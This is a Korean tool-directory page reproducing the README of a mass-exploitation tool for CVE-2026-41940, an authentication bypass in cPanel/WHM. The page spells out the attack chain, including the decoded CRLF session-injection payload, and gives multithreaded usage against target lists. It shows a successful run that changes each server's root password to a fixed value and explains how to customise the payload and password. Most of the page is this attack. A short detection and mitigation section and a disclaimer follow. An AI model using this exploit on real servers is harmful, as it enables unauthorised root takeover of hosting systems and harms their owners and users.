Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2026-41940 — cPanel/WHM의 CVE-2026-41940을 위한 대량 스캐너 및 대규모 익스플로잇 도구로, 자동화된 대상 검증과 고속 멀티스레드 실행을 위해 설계되었습니다. | Kitploit
도구/GitHubGitHub/jenderal92/cve-2026-41940
Vulnerability ScannersExploitationWeb Application ExploitationInformation GatheringPenetration TestingCommand and ControlAuthenticationRed TeamingPayload Development
GitHubjenderal92/cve-2026-41940

CVE-2026-41940

cPanel/WHM의 CVE-2026-41940을 위한 대량 스캐너 및 대규모 익스플로잇 도구로, 자동화된 대상 검증과 고속 멀티스레드 실행을 위해 설계되었습니다.

442개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유
저장소 보기

CVE-2026-41940 - WHM/cPanel 인증 우회 대량 익스플로잇

43153

📋 설명

CVE-2026-41940은 WHM/cPanel의 심각한 인증 우회 취약점으로, 공격자가 유효한 자격 증명 없이 인증을 우회하고 서버에 대한 루트 액세스 권한을 얻을 수 있게 합니다. 이 취약점은 세션 처리 메커니즘의 CRLF 인젝션을 악용하여 악성 세션 매개변수를 주입합니다.

이 도구는 여러 대상을 동시에 테스트하기 위한 멀티스레딩 지원, 지능적인 성공 감지 및 잘못된 대상의 자동 필터링 기능을 갖춘 대량 익스플로잇 기능을 제공합니다.


🎯 주요 기능

기능설명
✅ 대량 익스플로잇목록 파일에서 여러 대상을 스캔하고 익스플로잇
🚀 멀티스레딩더 빠른 스캔을 위한 구성 가능한 스레드 수 (기본값: 15)
🔐 자동 비밀번호 변경성공적인 익스플로잇 시 루트 비밀번호를 Jenderal92로 변경
🛡️ 지능형 성공 감지다양한 WHM API 응답 형식을 자동으로 감지
⚠️ 라이선스 오류 필터링잘못된/읽을 수 없는 라이선스 오류가 있는 대상 제외
📝 구조화된 출력확인된 성공 건만 `domain:port
🛡️ SSL/TLS 지원자체 서명 인증서 자동 처리
🔄 세션 관리자동 세션 추출, 쿠키 주입 및 토큰 처리
⏱️ 타임아웃 제어구성 가능한 연결 타임아웃 (기본값: 15초)
🔍 사전 연결 확인익스플로잇 시도 전 포트 가용성 확인
📊 실시간 진행 상황각 익스플로잇 단계별 상세 진행 상황 표시

📦 요구 사항

  • Python 2.7 (필수 - Python 3.x와 호환되지 않음)
  • 대상 접근을 위한 인터넷 연결
  • 필요한 Python 패키지:
root@kitploit:~
pip install requests urllib3 futures

또는 requirements.txt 사용:

root@kitploit:~
requests==2.27.1
urllib3==1.26.18
futures==3.4.0

📥 설치

root@kitploit:~
# Clone repository
git clone https://github.com/Jenderal92/CVE-2026-41940.git
cd CVE-2026-41940

# Install dependencies
pip install -r requirements.txt

# Make executable (Linux/Mac)
chmod +x CVE-2026-41940.py

🚀 사용 방법

1. 대상 파일 준비

각 줄에 대상 하나씩 포함된 targets.txt 파일을 생성합니다:

root@kitploit:~
https://target1.com:2087
target2.com
127.0.0.1:2087
http://target3.com:2087
target4.com

참고: 포트 2087은 WHM 기본 포트입니다. 지정하지 않으면 자동으로 포트 2087을 사용합니다. HTTP/HTTPS 접두사가 없으면 자동으로 추가됩니다.

2. 익스플로잇 실행

기본 사용법 (기본 설정)

root@kitploit:~
python2 CVE-2026-41940.py targets.txt

멀티스레드 사용법

root@kitploit:~
# Use 5 concurrent threads
python2 CVE-2026-41940.py targets.txt --threads 5

# Use 20 threads for faster scanning
python2 CVE-2026-41940.py targets.txt --threads 20

사용자 지정 호스트 이름

root@kitploit:~
# Override Host header for all targets
python2 CVE-2026-41940.py targets.txt --hostname custom.host.com --threads 10

사용자 지정 타임아웃

root@kitploit:~
# Set timeout to 30 seconds for slow connections
python2 CVE-2026-41940.py targets.txt --threads 10 --timeout 30

📊 명령줄 인수


📁 출력 형식

결과 파일 (res.txt)

성공이 확인된 익스플로잇만 저장됩니다. 라이선스 오류, 비밀번호 변경 실패 또는 연결 문제가 있는 대상은 자동으로 제외됩니다.

형식:

root@kitploit:~
domain:port|root|Jenderal92

출력 예시:

root@kitploit:~
www.example.com:2087|root|Jenderal92
127.0.0.1:2087|root|Jenderal92
target.example.net:2087|root|Jenderal92

제외 시나리오

다음 대상은 res.txt에 저장되지 않습니다:

  • 라이선스 오류 (Cannot Read License File)
  • 비밀번호 변경 실패
  • 연결 타임아웃 또는 거부
  • 패치 적용됨/WHM이 없는 대상
  • 잘못된 자격 증명 또는 세션 실패

콘솔 출력

root@kitploit:~
$ python2 CVE-2026-41940.py targets.txt --threads 10

 CVE-2026-41940 bypass authentication - Mass Exploit

[*] Loaded 4 targets
[*] Starting exploit with 10 threads...
[*] Timeout: 15 seconds
[*] Note: http:// will be added automatically if missing
[*] ONLY targets with confirmed password changes will be saved to res.txt
[*] Targets with license errors, connection issues, or failed password changes will be EXCLUDED

==================================================

[*] Checking target: 127.0.0.1
    Original input: 127.0.0.1
    Normalized: https://127.0.0.1:2087
    Port 2087: OPEN
    Testing connection... OK (HTTP 200)

[0] hostname = example.com
[1] minting a preauth session...
    session base = :d5nPe99Nx9HQdMu2
[2] sending the CRLF injection...
    HTTP 307, leaked token = /cpsess0488087910
[3] firing do_token_denied to propagate...
    HTTP 401, gadget fired
[4] verifying we're WHM root...
    /json-api/version -> HTTP 200  {"version":"11.118.0.13"}
[*] attempting to change the root password
    passwd -> HTTP 200
    {
      "data": {
        "app": ["system"]
      },
      "metadata": {
        "output": {
          "raw": "Password for \"root\" has been changed."
        },
        "reason": "Password changed for user \"root\".",
        "version": 1,
        "command": "passwd",
        "result": 1
      }
    }
[+] Password change confirmed (metadata.result=1)
[+] ✓ Root password successfully changed to 'Jenderal92'!

[✓] SUCCESS & SAVED: 127.0.0.1:2087
    Saved to res.txt: 127.0.0.1:2087|root|Jenderal92

==================================================
[*] Scan complete!
[*] Targets with successfully changed passwords: 1 out of 4

[+] Results saved to res.txt

Successfully exploited targets (password changed to Jenderal92):
  ✓ 127.0.0.1:2087

🔬 익스플로잇 작동 방식

이 익스플로잇은 지능적인 검증을 갖춘 4가지 주요 단계로 구성됩니다:

1단계: 사전 인증 세션

root@kitploit:~
[1] minting a preauth session...
  • 유효하지 않은 자격 증명으로 /login/?login_only=1에 POST 요청 전송
  • 서버 응답에서 whostmgrsession 쿠키 획득
  • 끝부분 ,<obhex> 부분을 제거하여 세션 베이스 추출
  • 이를 통해 작업에 사용할 수 있는 유효한 세션 형식을 확보

2단계: CRLF 인젝션 공격

root@kitploit:~
[2] sending the CRLF injection...
  • 악성 페이로드가 포함된 Authorization: Basic 헤더로 GET 요청 전송
  • Base64 페이로드는 다음과 같이 디코딩됩니다:
    root@kitploit:~
    root:x
    successful_internal_auth_with_timestamp=9999999999
    user=root
    tfa_verified=1
    hasroot=1
    
  • CRLF(\r\n) 문자가 가짜 세션 매개변수를 주입
  • 서버가 인증에 성공했다고 믿도록 속임
  • 서버는 HTTP 307과 cp_security_token이 포함된 Location 헤더로 응답

3단계: 세션 전파

root@kitploit:~
[3] firing do_token_denied to propagate...
  • 조작된 쿠키로 /scripts2/listaccts 엔드포인트에 접근
  • WHM의 do_token_denied 메커니즘 트리거
  • 이를 통해 주입된 세션 매개변수가 서버의 세션 캐시로 전파됨
  • HTTP 401 "Token denied" 응답으로 전파 성공 확인

4단계: 검증 및 비밀번호 변경

root@kitploit:~
[4] verifying we're WHM root...
  • /json-api/version에 접근하여 루트 수준 접근 권한 검증
  • /json-api/passwd API를 호출하여 루트 비밀번호를 Jenderal92로 변경
  • 다양한 WHM API 응답 형식에서 성공을 지능적으로 감지:
    • {"metadata": {"result": 1}} (cPanel v11.118+)
    • {"status": 1} (이전 버전)
    • {"result": [{"status": 1}]} (레거시 형식)
    • 텍스트 기반 성공 메시지

자동 필터링

이 도구는 다음을 자동으로 제외합니다:

  • 라이선스 오류: {"status": 0, "statusmsg": "Cannot Read License File"}
  • 비밀번호 변경 실패: API가 성공 코드를 반환했지만 비밀번호가 변경되지 않은 경우
  • 연결 문제: 타임아웃, 연결 거부, 연결할 수 없는 호스트

🛡️ 탐지 및 완화

손상 지표 (IOC)

모니터링할 로그

root@kitploit:~
# WHM access log
/usr/local/cpanel/logs/access_log

# cPanel error log  
/usr/local/cpanel/logs/error_log

# Authentication log
/var/log/secure

# System messages
/var/log/messages

완화 단계

  1. WHM/cPanel을 최신 패치 버전으로 즉시 업데이트

    root@kitploit:~
    /usr/local/cpanel/scripts/upcp
    
  2. 모든 계정, 특히 루트에 대해 2단계 인증(2FA) 활성화

    root@kitploit:~
    WHM → Security Center → Two-Factor Authentication
    
  3. IP 화이트리스트로 WHM 접근 제한

    root@kitploit:~
    WHM → Security Center → Host Access Control
    
  4. 의심스러운 패턴이 있는지 액세스 로그 정기적으로 모니터링

    root@kitploit:~
    tail -f /usr/local/cpanel/logs/access_log | grep -E "(listaccts|passwd|login_only)"
    
  5. 손상이 의심되면 모든 비밀번호 변경

  6. 방화벽 규칙을 사용하여 포트 2087 접근 제한

    root@kitploit:~
    # Allow only trusted IPs
    iptables -A INPUT -p tcp --dport 2087 -s YOUR_TRUSTED_IP -j ACCEPT
    iptables -A INPUT -p tcp --dport 2087 -j DROP
    
    # Or use CSF/LFD firewall
    csf -a YOUR_TRUSTED_IP
    
  7. CRLF 인젝션 시도를 감지하는 WAF 규칙 구현

  8. WHM/cPanel 설치에 대한 정기적인 보안 감사


📝 다양한 시나리오별 사용 예시

시나리오 1: 단일 대상 테스트

root@kitploit:~
echo "https://myserver.com:2087" > my_server.txt
python2 CVE-2026-41940.py my_server.txt --threads 1

시나리오 2: 대량 서버 감사

root@kitploit:~
python2 CVE-2026-41940.py all_servers.txt --threads 20 --timeout 20

시나리오 3: 느린 네트워크/장거리

root@kitploit:~
python2 CVE-2026-41940.py servers.txt --threads 5 --timeout 45

시나리오 4: 프록시/로드 밸런서 뒤의 사용자 지정 호스트 이름

root@kitploit:~
python2 CVE-2026-41940.py servers.txt --hostname internal.cpanel.server --threads 10

시나리오 5: 혼합 포트 대상

root@kitploit:~
# targets.txt can contain various formats:
https://server1.com:2087
http://server2.com:2087
server3.com:2087
127.0.0.1:2087
10.0.0.50

# All will be normalized automatically
python2 CVE-2026-41940.py targets.txt --threads 15

⚙️ 문제 해결

오류: "module 'urllib' has no attribute 'urlsplit'"

문제: Python 2.7 대신 Python 3을 사용하고 있음
해결 방법: 이 도구는 Python 2.7이 필요합니다.

root@kitploit:~
# Check Python version
python2 --version  # Must show Python 2.7.x

# Run with python2 explicitly
python2 CVE-2026-41940.py targets.txt

오류: "Connection refused - target unreachable"

문제: 대상이 오프라인이거나 방화벽이 차단 중
해결 방법:

root@kitploit:~
# Test manually
telnet target.com 2087
nmap -p 2087 target.com
curl -k https://target.com:2087

오류: "/login didn't issue a whostmgrsession cookie"

문제: 대상이 패치되었거나 WHM을 실행하지 않을 수 있음
해결 방법:

  • 대상이 WHM/cPanel을 실행 중인지 확인
  • 브라우저에서 https://target:2087로 대상에 접근할 수 있는지 확인
  • 대상에 이미 CVE-2026-41940 패치가 적용되었을 수 있음

느린 스캔 성능

해결 방법: 스레드 수와 타임아웃 조정

root@kitploit:~
# For many targets with good connectivity
python2 CVE-2026-41940.py targets.txt --threads 30 --timeout 10

# For unreliable connections
python2 CVE-2026-41940.py targets.txt --threads 5 --timeout 45

출력의 라이선스 오류

참고: Cannot Read License File 오류가 표시되는 대상은 res.txt에서 자동으로 제외됩니다. 라이선스가 없는 WHM 설치에서는 비밀번호 변경이 작동하지 않으므로 이는 예상된 동작입니다.


🔧 고급 구성

사용자 지정 페이로드 수정

사용자 지정 세션 매개변수를 위해 PAYLOAD_B64를 수정할 수 있습니다:

root@kitploit:~
import base64

# Custom payload
payload = """root:x
successful_internal_auth_with_timestamp=9999999999
user=root
tfa_verified=1
hasroot=1"""

encoded = base64.b64encode(payload.encode())
print(encoded)

사용자 지정 비밀번호

do_passwd() 함수(약 280번째 줄)에서 비밀번호를 변경합니다:

root@kitploit:~
{"user": "root", "password": "YourCustomPassword123"}

성공 감지 조정

do_passwd() 함수를 수정하여 사용자 지정 WHM 응답 형식을 감지할 수 있습니다:

root@kitploit:~
# Add custom pattern in do_passwd()
if 'your_custom_success_string' in (r.text or '').lower():
    return "success"

🤝 기여

기여를 환영합니다! 다음 단계를 따르세요:

  1. 저장소를 포크합니다
  2. 기능 브랜치를 생성합니다 (git checkout -b feature/AmazingFeature)
  3. 변경 사항을 커밋합니다 (git commit -m 'Add some AmazingFeature')
  4. 브랜치에 푸시합니다 (git push origin feature/AmazingFeature)
  5. 풀 리퀘스트를 엽니다

개발 지침

  • Python 2.7 호환성 유지
  • 다양한 WHM/cPanel 버전으로 테스트
  • 적절한 오류 처리 추가
  • 새 기능에 대한 문서 업데이트

⭐ 스타 기록

이 도구가 보안 연구에 유용하다면 GitHub에서 ⭐를 눌러주세요!

Star History Chart


❗ FAQ

Q: 이 도구가 탐지될 수 있나요?
A: 네, 이 도구는 WHM/cPanel 액세스 로그에 흔적을 남깁니다. 적절한 승인을 받고 합법적인 보안 테스트 목적으로만 사용하세요.

Q: 익스플로잇에 얼마나 걸리나요?
A: 네트워크 지연 시간과 서버 응답 시간에 따라 대상당 약 5~15초입니다.

Q: 사전 루트 액세스 권한이 필요한가요?
A: 아니요, 이 익스플로잇은 인증 없이 완전히 외부에서 작동합니다.

Q: 이 도구가 Windows에서 작동하나요?
A: 네, Python 2.7이 올바르게 설치되고 구성되어 있으면 작동합니다.

Q: 대상이 다른 포트를 사용하면 어떻게 해야 하나요?
A: 대상 URL에 포트를 지정하세요: cPanel의 경우 https://target.com:2083 또는 사용자 지정 포트.

Q: 익스플로잇이 성공했는데도 일부 대상이 res.txt에 저장되지 않는 이유는 무엇인가요?
A: 이 도구는 비밀번호가 성공적으로 변경된 대상만 저장합니다. 인증 우회가 성공했더라도 라이선스 오류, 비밀번호 변경 실패 또는 기타 문제가 있는 대상은 제외됩니다.

Q: 어떤 WHM/cPanel 버전이 취약한가요?
A: CVE-2026-41940 패치 이전 버전입니다. 패치된 버전은 cPanel의 변경 로그를 확인하세요.


📌 중요 참고 사항

  • ✅ 이 도구는 성공적인 익스플로잇 시 루트 비밀번호를 Jenderal92로 변경합니다
  • 📡 기본 WHM 포트는 2087입니다 (지정하지 않으면 자동으로 사용)
  • 🔒 자체 서명 인증서를 지원하기 위해 SSL 인증서 검증이 비활성화됩니다
  • 💾 확인된 성공 건(비밀번호 변경)만 res.txt에 저장됩니다
  • ⚠️ 라이선스 오류 및 비밀번호 변경 실패는 자동으로 필터링됩니다
  • 🔄 실행할 때마다 새 res.txt 파일이 생성됩니다 (이전 결과는 삭제됨)
  • 🌐 대상에 HTTP/HTTPS 접두사가 없으면 자동으로 추가됩니다
  • 🧵 기본 스레드 수는 15이며 시스템 성능에 따라 조정 가능합니다

교육용 보안 연구 목적으로 제작됨
책임감 있게 사용하고, 합법적으로, 윤리적으로 행동하세요


⚠️ 면책 조항

⚠️ 중요 경고!

이 도구는 전적으로 다음을 위해 제작되었습니다:

  • ✅ 교육 목적 및 보안 연구
  • ✅ 승인된 침투 테스트
  • ✅ 귀하가 소유한 시스템에 대한 보안 평가
  • ✅ 서면 승인을 받은 취약점 검증

엄격히 금지된 사용:

  • ❌ 명시적 승인 없이 시스템에 접근
  • ❌ 모든 형태의 불법 활동
  • ❌ 악의적인 행위 또는 시스템에 해를 끼치는 행위
  • ❌ 모든 컴퓨터 시스템에 대한 무단 접근
  • ❌ 모든 지역, 주 또는 연방법 위반

저자는 이 도구 사용으로 인한 오용, 손상 또는 결과에 대해 어떠한 책임도 지지 않습니다. 이 도구를 사용함으로써 귀하는 귀하가 소유하거나 테스트할 명시적 서면 승인을 받은 시스템에서만 사용하는 데 동의합니다.

계속 진행하면 다음을 인정하는 것입니다:

  1. 대상 시스템을 테스트할 권한이 있습니다
  2. 무단 접근의 법적 영향을 이해합니다
  3. 모든 관련 법률 및 규정을 준수합니다
  4. 저자는 귀하의 행동에 대해 책임을 지지 않습니다

추가 면책 조항은 Jenderal92의 프로필에서 확인할 수 있습니다. 여기에서 확인하세요 !!!

도구 다운로드
인수설명기본값필수
list_file대상 목록이 포함된 파일 (줄당 하나)-✅ 예
--threads동시 스레드 수15❌ 아니요
--hostname모든 대상의 Host 헤더 재정의자동 감지❌ 아니요
--timeout연결 타임아웃(초)15❌ 아니요
지표설명
비정상적인 whostmgrsession 쿠키적절한 인증 없이 나타나는 비정상적인 쿠키 패턴
헤더의 CRLF 문자HTTP 헤더에서 \r\n 시퀀스 감지
/scripts2/listaccts 접근이 경로에 대한 무단 접근
비밀번호 Jenderal92이 특정 비밀번호를 사용한 성공적인 로그인
cpsess 토큰 유출Location 헤더에 보이는 보안 토큰
실패 후 성공한 로그인잘못된 비밀번호로 /login/?login_only=1에 POST 후 권한 있는 접근